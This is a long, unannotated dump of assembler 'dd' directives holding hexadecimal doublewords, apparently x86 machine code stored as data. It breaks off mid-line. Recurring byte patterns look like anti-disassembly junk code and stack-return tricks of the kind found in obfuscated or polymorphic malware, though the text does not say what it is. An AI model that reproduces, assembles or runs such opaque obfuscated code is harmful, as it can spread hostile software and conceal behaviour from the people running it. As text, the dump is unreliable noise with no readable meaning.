0BF610000h, 4F18C56Dh, 0C454B5FFh, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 5AD88DC3h, 0CE8B6B7h, 71000000h, 72F6E92Ah, 82C654BCh dd 5BEFE146h, 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 83750CC3h, 0E19DB5BFh dd 0FF8EB794h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 94F20907h dd 120995FFh, 0B4B70613h, 511BD83h, 0F020613h, 7D84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 3C8B8F9Eh, 0A456A54Ch, 0D5BD8B01h, 0F806131Ah, 0F55858Bh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 86DD49C3h, 0AC0BE11h, 0DF8B66AEh, 6A0000C6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E242C357h, 800Fh, 85C70000h, 6131E51h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 15C35545h dd 0FFF118E9h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0FC702715h, 66578A35h dd 8B5FF98Bh, 799D8BC1h, 8D06131Eh, 131EA985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 660C60ADh, 8150F117h, 0A635DE7h, 50905B2Fh, 3D852990h dd 6A06131Dh, 0A5BD8B00h, 6A061330h, 2E46BB00h, 858D628Fh dd 617A311h, 5618D89h, 83F50613h, 5B5005C0h, 28F0F50h dd 8A000000h, 240489D9h, 6AEBB3F9h, 6AF800h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 38C35747h, 6840F8Ch dd 9000000h, 13284D95h, 43CB8106h, 0FF5B91B4h, 1307F195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 92D09A8h, 1310A595h, 6A8D8D06h, 6A0616A3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 85E1C356h, 0F6BB66DCh, 6AD1FFEAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 1315C350h, 6558509h, 9D890613h, 6130FDDh, 173DBD83h dd 0F010613h, 9285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 2C44D062h, 7DB50939h dd 6A06131Fh, 9D9D3102h, 0BF061322h, 30505ABEh, 89D98B50h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 6D1A1FC3h, 9D8BA2AEh, 61334A9h, 0FFD9B70Fh dd 131E9595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 2B82B891h, 130F41BDh, 2DBD8B06h dd 0E906131Fh, 0F0Dh, 0E8h, 0ED815D00h, 617A31Bh, 23C1BD89h dd 8B600613h, 131005B5h, 19D3306h, 61061314h, 8F5E858Dh dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 3660F7C3h, 504B11BDh, 8B666060h, 8B0FC1h dd 61000000h, 3850Fh, 8B660000h, 48961D8h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 8529F53Bh, 35FF6454h, 0 dd 8A99D89h, 89640613h, 25h, 0F7816600h, 85FF878Dh, 61316D9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h dd 0CA423373h, 746C491Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0B9F048C3h, 56E72521h dd 1371B589h, 0B5FF0613h, 613125Dh, 0E160D781h, 95FF7996h dd 61331ADh, 147E9h, 758D8900h, 0B006130Bh, 2DBD3300h dd 0E606131Ah, 0A5BD8B70h, 0E906132Bh, 0Ch, 9B30ED25h dd 0F4883E76h, 0DE1B4A0h, 0BD2B71E4h, 6132565h, 830F613Ch dd 110h, 21199D8Bh, 0BE80613h, 4A000000h, 5A856F6Ch, 0D0A8C552h dd 8589764Ah, 6131E85h, 0C8B60F5Bh, 9E9h, 40177F00h, 4F748EDBh dd 6BAF2E8h, 8B000000h, 6AD781C1h, 606DC877h, 0D5A92DBAh dd 0E8C16143h, 66D88A04h, 0FE8BE2F7h, 9D8BC82Bh, 61310B9h dd 0E1958960h, 0B906131Dh, 40DC0BF6h, 0BFD18B61h, 44793CD6h dd 0C375BB66h, 19E9h, 95036000h, 6130C69h, 0CE9h, 8B17B000h dd 419464A4h, 0CB95C06Fh, 858B610Bh, 6131A61h, 83F88B66h dd 0C08307C0h, 85895600h, 6130521h, 0FD03B5Fh, 2183h, 1B8FBB00h dd 5DE91F6Ch, 9000000h, 13153D9Dh, 830F6006h, 6, 830Fh dd 0B70F0000h, 8D8B61F6h, 6133251h, 19599D8Bh, 0E1830613h dd 31840F01h, 0E9000000h, 0Eh, 0F8B33BDEh, 3DD8F65Fh, 6E11F81h dd 0A583F6FFh, 6133251h, 89BD01FEh, 8906131Ah, 131A6195h dd 8B0F06h, 0E9000000h, 0 dd 1D8BB58Dh, 9D290617h, 6131EBDh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F53087C3h dd 9D8B9690h, 61312A9h, 0DA995FFh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0CEF2EBC3h dd 593FBB45h, 0BD8B5E15h, 613325Dh, 761B9h, 0DEB70F00h dd 0EE8h, 832B9700h, 8C11E455h, 1D4FCF93h, 0E92DB8B2h dd 11h, 0BCA463D8h, 0E2A09286h, 0B7D1BEBh, 0EE17FD05h dd 0E1835FA3h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 6AFC7F21h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E19C353h dd 0E5D2CC49h, 0B8B764h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 750CC356h dd 9DB5BF83h, 7A0C94E1h, 22C5BD89h, 0BA0613h, 8B000000h dd 132981BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 50006AF4h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0D5A0DB22h, 89DB4BD4h, 130B2985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 9F3F2B13h dd 659D23ECh, 0D061325h, 88h, 21A9BD8Bh, 958B0613h, 6131BBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h dd 2F0CB8BBh, 0E59D8B64h, 8B061320h, 1318DD8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0DD39B753h, 80BCBB66h, 8B50D98Ah, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 23D1BD0Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A2D446C3h dd 53CBD3F0h, 0BD835FF5h, 6131D1Dh, 96840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 21F9C353h, 8A5031E5h, 300D8509h, 0BD090613h dd 6130C59h, 0B8h, 0C3816600h, 8D8DC78Fh, 6134F8Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h, 9B2838B9h dd 7EA68CCEh, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4680C352h, 32BBEA77h dd 605C55A4h, 5E9h, 219BD100h, 1FB65F77h, 55BD8361h, 61330h dd 456840Fh, 0BB660000h, 0BD83BE04h, 6133055h, 60840F01h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 928C351h, 1310F18Dh, 28B0F06h dd 0B7000000h, 55BD83BFh, 3061330h, 3F3860Fh, 0EE80000h dd 0D1000000h, 0EABFF2E2h, 0A5EC56FDh, 69EBA836h, 8B66601Bh dd 890FFBh, 61000000h, 6A605Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F391BC3h, 682h, 39BD2B00h dd 23061325h, 1313B5BDh, 0D98C6606h, 0BE96056h, 95000000h dd 0CFBC3BA1h, 0C14A6DFEh, 0BA66B116h, 5B610040h, 5E8h dd 90737A00h, 8B668784h, 0E1805FD9h, 0B59D8B04h, 0A06131Fh dd 62840FC9h, 8B000001h, 0B9858BDAh, 0F06132Bh, 1A8Ch dd 12E800h, 0E99D0000h, 0D67F7D67h, 512657CDh, 48189567h dd 0BCA309E6h, 335B6160h, 1305B985h, 66509006h, 6A90FE8Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 65D5C355h, 0DE9h, 0AD8CCB00h, 3F96C9D9h dd 0A02F7090h, 6AC6D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0D9C35545h, 729AFDC6h, 1C1F4658h, 0B007A7BFh dd 4E829h, 3FF0000h, 6650001Fh, 8B07B3BFh, 8B042444h, 0E9525000h dd 6, 0A18E7B7h, 310FF416h, 4489585Ah, 0FABB0424h, 5836AC8Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h dd 11E9h, 0F7ACA100h, 288310D1h, 8B917B3Ch, 1FBFCD4Eh dd 95FFBF1Fh, 6130A3Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0E4C35040h, 93F72E69h, 6697B388h, 0A318DF81h dd 6820F52h, 2B000000h, 130C5D9Dh, 85895F06h, 616C454h dd 67CB8166h, 1C7E93Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0B5AB4C3h, 8B208348h dd 130149BDh, 4C858B06h, 6A0616C4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1EA1C356h dd 1800C796h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 70C2C353h, 0AD47D481h dd 0BD298172h, 6132495h, 0C450B58Bh, 0D7800616h, 55858B65h dd 6A06132Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 6467C355h, 660BB629h, 89D860BFh dd 919D2306h, 6606130Dh, 858BFA8Bh, 6132BB9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 83C35040h, 44689F9h dd 34F18D89h, 0E8500613h, 14h, 110EACC2h, 0B887AAF6h, 10981B28h dd 0CB52CC0h, 34A1E425h, 895FF88Bh, 23512434h, 1310A5BDh dd 0B5FF5B06h, 616C44Ch, 1DB99D8Bh, 680613h, 566EE2F6h dd 0B8837FBFh, 34815F7Dh, 0FDF5FF24h, 13E86Eh, 69D10000h dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 0CBC78116h dd 5F5B83DDh, 0C454858Dh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 2B1928C3h, 2890F50h dd 53000000h, 2404895Fh, 0E9C68B60h, 6, 0D96AF0C3h, 0FF618988h dd 130A3D95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0F3B9B204h, 0E9FB8B66h, 11h, 410B5931h dd 0D366D0B4h, 0E53CF2E1h, 0CFE33B2Eh, 0BD8B619Fh, 6131295h dd 305585C7h, 30613h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 8B9E9EC3h, 54BD83BDh dd 616C4h, 2B840Fh, 0B5890000h, 6130029h, 3BE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B70F6BF4h, 0C3050DAh, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 53C35343h, 0DC4E56BFh, 0A99D8B21h, 8B061319h dd 130F019Dh, 55BD8306h, 3061330h, 4E3850Fh, 9D290000h dd 6130911h, 0C454BD83h, 0F000616h, 4D084h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 133A71F7h, 0E781660Fh, 0B5FFF6F3h, 616C454h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2BC35242h, 8AC56403h dd 0FF031440h, 13096995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8B539E5Ch, 132ECDBDh, 11E85B06h dd 58000000h, 7FE36B50h, 3D94E03Ch, 11095465h, 2EB2BFFh dd 48B58B5Fh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0C07EC351h, 1DCD14CAh dd 0B329BEB8h, 106C773h, 6A000100h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8EB5C351h dd 28BA4E2Eh, 23BB508Dh, 89319757h, 6A2434h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 37DEEDC3h dd 54B5FF8Dh, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0BC7FC357h, 12ED9529h dd 95FF0613h, 6133229h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 5BC35040h, 400F64BDh, 43EEF723h, 0FBB70F56h dd 48B58B5Fh, 8B0616C4h, 1306E9BDh, 0CE906h, 4C5C0000h dd 85EE2C5h, 52CBD6C5h, 858BE1ECh, 6130631h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4DC35747h, 8689A2C2h dd 0C4h, 12859589h, 958B0613h, 6131BBDh, 835BF856h, 6A04C2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0B4A164C3h, 8921C370h, 51602050h, 810Fh, 8B5A0000h dd 131B11B5h, 858D6106h, 616D8E3h, 0E8FEBF0Fh, 13h, 9AE8273Dh dd 9D016D7Fh, 0BA621E55h, 0E2C026D4h, 8B196ECBh, 130A59BDh dd 86895F06h, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 4C35242h, 0E62566BAh, 13E9600Ch, 0DD000000h dd 0FA36E745h, 4C49BE58h, 45EE2180h, 0E83DA94Ah, 0C3807010h dd 6A6188h, 0AE9h, 8C739600h, 0CEBE5755h, 0FF55CF79h, 16C454B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 95FF37B6h, 6131E95h, 518D8960h, 6006132Ah dd 29EA8166h, 8E0F7Eh, 61000000h, 7E85061h, 3C000000h dd 0C4800985h, 0CE94F8Eh, 91000000h, 1963BB2Fh, 0C39F3C2Ch dd 5BE62F86h, 6A243489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 1D3CC351h, 0FF752B11h dd 16C454B5h, 0FE8B6606h, 214595FFh, 8D290613h, 6130C15h dd 0BD83D98Bh, 6131495h, 5C840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0C99AC351h, 669D72D1h, 0E6EE781h, 0E4BB6650h, 243489F0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h dd 0CDC5F905h, 8BD9BF0Fh, 1328099Dh, 35B52906h, 0FF061316h dd 16C454B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 1485E9BBh, 1EEBF7F6h, 8166D738h dd 0FF9C30DBh, 1305AD95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0F5C07D0Eh dd 0C454B5FFh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 4953D5C3h, 0E8B18C8Fh, 11h, 0DC06AC1Ah dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 95FF5F66h, 6131209h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 63C35747h dd 0F6ED3B20h, 0BA1F745Eh, 511BD83h, 0F020613h, 6284h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0E6BDBDEAh, 0BD8B82D4h, 6131B81h, 551BD01h dd 858B0613h, 6130F55h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0C6C35141h, 666CECEFh, 891CECBFh, 13323D9Dh dd 0C606h, 0C7FAB70Fh, 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 3E49F038h dd 0CB8008F9h, 0BD895007h, 61310A9h, 0F20AE95Fh, 6AFFFFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 954C8CC3h, 0DDD9593Fh, 2A7D8589h, 0C18B0613h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h, 1D73FD89h dd 4C9C5ECEh, 0D5EF8166h, 0A9858D12h, 0F06131Eh, 0BB50F8B7h dd 544F8779h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 8065C352h, 0CB80006Ah dd 8B006ADFh, 0CB858DF9h, 660617B3h, 83725CBBh, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 620DBDC3h, 95895B47h, 61320CDh, 0F88B6690h, 9D239050h dd 61315F5h, 6AF8006Ah, 0EDBD0300h, 0FF061322h, 1307F195h dd 0FE906h, 0EB740000h, 0D19DE545h, 26BEFFFEh, 6153CD9Ah dd 6A8D8D20h, 230616A3h, 130F519Dh, 0ADBD2306h, 0FF061313h dd 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 60D22968h, 0C3AC2D3Bh, 1E09BD8Bh, 29600613h dd 1316219Dh, 0BD836106h, 613173Dh, 0BA850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 6633C350h, 0D573F781h, 820F026Ah, 6, 13019D8Bh dd 50900613h, 52505250h, 7E9h, 0D07A9700h, 91A9760Ch, 8E9310Fh dd 48000000h, 0C358753Bh, 5A70F089h, 56310F58h, 5A5F6160h dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 37B8CCC3h, 0AC783C37h, 8B9F935Ch, 131F099Dh dd 31B58906h, 0FF061319h, 131E9595h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0BD33015h dd 8BC88403h, 1320799Dh, 0E23E906h, 0E80000h, 5D000000h dd 0B3D5ED81h, 860F0617h, 0Bh, 8F0F60h, 66000000h, 8961F98Bh dd 1319699Dh, 5E858D06h, 6A06168Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CB14C356h dd 901F1EE8h, 9050D88Bh, 1AD8D89h, 0FF640613h, 35h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 64B0C5AAh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0A7ED92C3h, 0FFD88B09h dd 1316D985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0FF6A1A36h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 3EC35040h, 0E9BB20E3h, 0Eh dd 4417E383h, 2857BF55h, 68D09620h, 0B5FF96DAh, 6131B65h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h dd 0F4757FF2h, 95FF0B9Fh, 61331ADh, 115E9h, 8900B000h dd 130D159Dh, 8B70E606h, 0E871E4FEh, 10h, 4D45C334h, 0A0D01E93h dd 705426B0h, 0EF876723h, 613C5FF9h, 0E8830Fh, 81660000h dd 0F1F49C7h, 8166C8B6h, 0BAA204DFh, 6, 8BFFB70Fh, 4E8C1C1h dd 188B0Fh, 0CE80000h, 20000000h, 0E68748BFh, 0D7450D1Eh dd 8B49183Ch, 132C119Dh, 0F7665F06h dd 19BD8BE2h, 29061311h, 1301C185h, 8BC82B06h, 130BE1BDh dd 8BD18B06h, 1321C99Dh, 26E78106h, 0E969DA6Ah, 6, 0E799531h dd 858B0613h, 6132499h, 0F07C083h, 178Ah, 12E900h, 0B72F0000h dd 945B8DF5h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h, 8900C083h dd 1331E98Dh, 0FD03B06h, 1183h, 99BD8B00h, 0E9061308h dd 3Eh, 21A18D89h, 8D8B0613h, 61305F9h, 19618D89h, 0E1830613h dd 23840F01h, 9000000h, 130E45BDh, 0F9A58306h, 0FE061305h dd 2F999D8Bh, 95890613h, 6132499h, 0EB80FA8Bh, 0E9F4h dd 0B58D0000h, 6172722h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 5EC35343h, 0F98B6609h, 0BEEF8166h, 0DEBF662Ch dd 66006A46h, 0FF8098BBh, 130DA995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B9F98BC1h dd 808h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0F7C35747h, 0F5D10209h, 880Fh, 0E1830000h, 9BD8BFCh dd 0FC06130Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0D2C35242h, 9D8BA595h, 6131549h, 0B8h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 26A0F657h, 75B464C4h, 860F459Bh, 0 dd 6860Fh, 0B5890000h, 613296Dh, 5FE78166h, 0BA0Ch, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 915B6C3h, 1324CD95h, 0C233AD06h, 0D003E8D1h, 7504E983h dd 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 21692195h, 6A5E57F5h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F664C351h dd 89E1F487h, 131A3DB5h, 81FB8B06h, 565660DFh, 880D5Bh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0E8E9ACC3h, 14h, 0E5D74489h, 19B88E57h, 85671DBh dd 0D882984Dh, 0EECB6229h, 3F82F781h, 505F545Ch, 5FFAB70Fh dd 1BBD958Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0F4648C3h, 8E9h, 0F7FB0C00h, 0C87D4656h dd 0DD8D8BE4h, 6A061318h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 94FC352h, 1321298Dh dd 6E806h, 26460000h, 0F065D112h, 0F03CAEBBh, 8B505F4Dh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 29C35747h, 6FA8AA41h dd 80E8CDA1h, 12E9ADh, 525C0000h, 0ADAC3727h, 456FAC79h dd 0B8641871h, 0EBA35E1Fh, 0BE9h, 8FF3800h, 0E20D3D2Ch dd 0BC2AA296h, 1D1DBD83h, 0F000613h, 2484h, 5DBD2900h dd 106130Eh, 13163995h, 0B806h, 0BD8B0000h, 613351Dh, 4F8D8D8Dh dd 0E1FF0613h, 0F88B6652h, 55BD835Fh, 61330h, 3A0840Fh dd 0BD8B0000h, 6132C85h, 2321B531h, 0BD830613h, 6133055h dd 0A2840F01h, 29000003h, 130E49BDh, 0BD83F506h, 6133055h dd 58860F03h, 1000003h, 13140585h, 60606006h, 80CB8B66h dd 6661E8ECh, 619C54BFh, 5E9h, 0CCA4F300h, 8C663A5Fh, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 30630476h, 3D341D71h, 19A9BD29h, 0F98B0613h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0B170C352h, 6880FA6h, 8B000000h, 1315299Dh dd 0FC90A06h, 0DF84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8BB537F6h, 132BB985h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 33F96E99h, 1305B985h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 90C5035Ah dd 87BB5250h, 0F6D23C9h, 0DF8B6631h, 9050585Ah, 6AFDF380h dd 19958900h, 80061319h, 5D685DEBh, 66A75E06h, 481DF8Bh dd 0C0FDA224h, 3D95FF58h, 6A06130Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D25CC353h dd 4C109415h, 8E9h, 1492D200h, 29AB0F55h, 0D8B70F23h, 0C4548589h dd 81660616h, 0E928CBCBh, 1BBh, 0BAD4BB66h, 0C44C858Bh dd 9D890616h, 6131E41h, 1800C7h, 0BFBB0000h, 8B2B2EA1h dd 16C450B5h, 0D9B70F06h, 2A55858Bh, 0B1BF0613h, 921149Dh dd 1329DD9Dh, 6A068906h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 892AC356h, 1323E9B5h dd 0B9858B06h, 6A06132Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0C632C355h, 57044689h dd 33A5BB66h, 0FCB7505Bh, 66243489h, 0BD8BDF8Bh, 6132C65h dd 0C44CB5FFh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0CC798DC3h, 0E8699FE2h, 4, 1F03FFh dd 50FE8B66h, 8BFE8B66h, 66042444h, 8B2AC6BFh, 13E85600h dd 8E000000h, 38E47611h, 0BE90ADADh, 0A55684B1h, 0AF316A98h dd 5F508F88h, 44895F5Bh, 0DE90424h, 15000000h, 57B3C8F2h dd 3AF5D2FCh, 89DCD85Fh, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0A412AB42h, 0E9BE148Dh dd 11h, 0D1A18BC2h, 0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h, 4D9D2384h dd 8D061316h, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0FEC251DBh, 86D6B6EAh dd 22558589h, 66900613h, 6050DE8Bh, 8E4E21BEh, 6A906107h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FB33C351h, 7E7C64CCh, 0FC7BE2Eh, 28Eh, 0FFFE8B00h dd 130A3D95h, 79BD8B06h, 6106131Bh, 5585C7F5h, 3061330h dd 31000000h, 131899BDh, 54BD8306h, 616C4h, 21840Fh, 0BF660000h dd 33E9EFB3h, 60000000h, 1E71B589h, 8B660613h, 0E95661D9h dd 6, 799B899Ch, 505B6252h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 8531C08Bh, 6131E99h, 31F19589h dd 0BD830613h, 6133055h, 16850F03h, 6A000005h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0E073C356h, 0B557A2A5h, 8BB031C5h, 13118D9Dh, 54BD8306h dd 616C4h, 4DF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0FDC2F6C3h, 5C1114BEh dd 0ADC781C6h, 0FF2E4A8Bh, 16C454B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8E99E6Bh, 91000000h, 0C88FC553h, 0FFFEE006h, 13096995h dd 11E906h, 346E0000h, 9976BCF4h, 0E16F68EBh, 0BC2E8C36h dd 8B42BB70h, 16C448B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E3B3940Eh, 51E660C7h dd 53BF3DA7h, 0C74FE331h, 1000106h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 4B762E26h dd 665096EDh, 5F70F2BFh, 